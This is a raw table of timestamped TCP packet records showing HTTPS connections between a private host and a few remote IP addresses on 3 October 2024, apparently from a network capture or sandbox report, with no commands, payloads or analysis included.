Oct 3, 2024 18:19:50.941622019 CEST	49834	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.941638947 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.941695929 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.941740036 CEST	49834	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.941760063 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.941838980 CEST	49834	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.941869020 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.941900015 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.941956997 CEST	49834	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.941956997 CEST	49834	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.942257881 CEST	49834	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.942287922 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.973679066 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.973737001 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.973800898 CEST	49836	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.973815918 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.973855972 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.973906994 CEST	49836	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.973920107 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.973973036 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.974000931 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.974014044 CEST	49836	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.974042892 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.974061012 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.974093914 CEST	49836	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.974107027 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.974109888 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.974164963 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.974287033 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.974356890 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.974370003 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.974385977 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.974421978 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.974493980 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.974541903 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.974556923 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.974571943 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.974602938 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.974709988 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.974754095 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.974776030 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.974791050 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.974817991 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.974961042 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.974998951 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.975013971 CEST	49836	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.975018024 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.975028992 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.975061893 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.975084066 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.975097895 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.975102901 CEST	49836	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.975121021 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.975227118 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.975270033 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.975291967 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.975306988 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.975337029 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.975444078 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.975490093 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.975507975 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.975522995 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.975557089 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.975646973 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.975691080 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.975708008 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.975723982 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.975754976 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.981013060 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.990025043 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.990039110 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.020431995 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.020518064 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.020525932 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.020617962 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.020662069 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.020668983 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.020845890 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.020865917 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.020901918 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.020909071 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.020925045 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.021080971 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.021123886 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.021147966 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.021153927 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.021173000 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.021173000 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.021186113 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.021203041 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.021250963 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.021317959 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.021368980 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.021419048 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.021472931 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.021505117 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.021553040 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.021600008 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.021640062 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.021646976 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.021754980 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.021806002 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.021815062 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.021827936 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.021827936 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.021848917 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.022032022 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.022054911 CEST	49836	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.051989079 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.052709103 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.052763939 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.052802086 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.052822113 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.052849054 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.052874088 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.056071997 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.056138039 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.056170940 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.056183100 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.056216002 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.056235075 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.056279898 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.056332111 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.056364059 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.056376934 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.056406021 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.056437969 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.056504965 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.056552887 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.056576967 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.056588888 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.056615114 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.056632996 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.056996107 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.057048082 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.057081938 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.057095051 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.057118893 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.057137966 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.057735920 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.057801008 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.057811975 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.057832956 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.057866096 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.057888031 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.057982922 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.058027029 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.058119059 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.058130980 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.058192968 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.058192968 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.058360100 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.058412075 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.058449984 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.058461905 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.058502913 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.058525085 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.065948963 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.066023111 CEST	49836	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.066052914 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.066193104 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.066241980 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.066247940 CEST	49836	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.066272020 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.066313982 CEST	49836	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.066361904 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.066503048 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.066545963 CEST	49836	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.066555023 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.066715002 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.066764116 CEST	49836	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.066818953 CEST	49836	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.066833973 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.069411039 CEST	49845	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.069500923 CEST	443	49845	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.069607973 CEST	49845	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.069693089 CEST	49846	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.069720984 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.069785118 CEST	49846	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.069827080 CEST	49845	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.069855928 CEST	443	49845	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.069961071 CEST	49846	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.069974899 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.078423023 CEST	443	49838	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.078748941 CEST	49838	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.078810930 CEST	443	49838	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.080522060 CEST	443	49838	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.080622911 CEST	49838	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.080867052 CEST	49838	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.080976009 CEST	49838	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.081110954 CEST	443	49838	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.085279942 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.085628033 CEST	49837	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.085689068 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.087186098 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.087486982 CEST	49837	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.087564945 CEST	49837	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.087594986 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.087882996 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.134020090 CEST	49838	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.134078026 CEST	443	49838	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.134175062 CEST	49837	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.145742893 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.145803928 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.145838976 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.145869017 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.145895004 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.145925045 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.148909092 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.148966074 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.149005890 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.149025917 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.149056911 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.149082899 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.149086952 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.149115086 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.149143934 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.149166107 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.149167061 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.149193048 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.149224997 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.149300098 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.149375916 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.149429083 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.149457932 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.149497986 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.149519920 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.149523020 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.149544954 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.149557114 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.149583101 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.149589062 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.149605989 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.149617910 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.149646044 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.149669886 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.150484085 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.150527954 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.150578976 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.150590897 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.150619984 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.150650978 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.150686979 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.150758028 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.150759935 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.150784969 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.150827885 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.151037931 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.151086092 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.151127100 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.151144028 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.151170969 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.151190996 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.182111025 CEST	49838	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.208765030 CEST	443	49838	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.208893061 CEST	443	49838	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.209074020 CEST	49838	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.209136009 CEST	443	49838	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.209182978 CEST	443	49838	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.209245920 CEST	49838	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.209604979 CEST	49838	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.209667921 CEST	443	49838	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.226214886 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.226326942 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.226418018 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.226509094 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.226541996 CEST	49837	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.226610899 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.226665020 CEST	49837	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.226716995 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.226775885 CEST	49837	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.226792097 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.226881981 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.226957083 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.227034092 CEST	49837	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.227056980 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.227083921 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.227119923 CEST	49837	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.238322020 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.238384962 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.238431931 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.238466024 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.238512993 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.238540888 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.241441965 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.241513014 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.241539955 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.241555929 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.241602898 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.241602898 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.241673946 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.241718054 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.241745949 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.241766930 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.241799116 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.241817951 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.241830111 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.241859913 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.241887093 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.241910934 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.241919994 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.241970062 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.242007017 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.242027044 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.242120981 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.242166042 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.242208958 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.242228031 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.242253065 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.242269993 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.243016958 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.243077993 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.243107080 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.243119955 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.243172884 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.243172884 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.243541002 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.243593931 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.243626118 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.243638992 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.243668079 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.243688107 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.243781090 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.243833065 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.243860960 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.243872881 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.243920088 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.243920088 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.267762899 CEST	443	49812	111.90.140.35	192.168.2.16
Oct 3, 2024 18:19:51.267947912 CEST	443	49812	111.90.140.35	192.168.2.16
Oct 3, 2024 18:19:51.268026114 CEST	49812	443	192.168.2.16	111.90.140.35
Oct 3, 2024 18:19:51.278130054 CEST	49837	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.278191090 CEST	443	49837	172.67.185.164	192.168.2.16
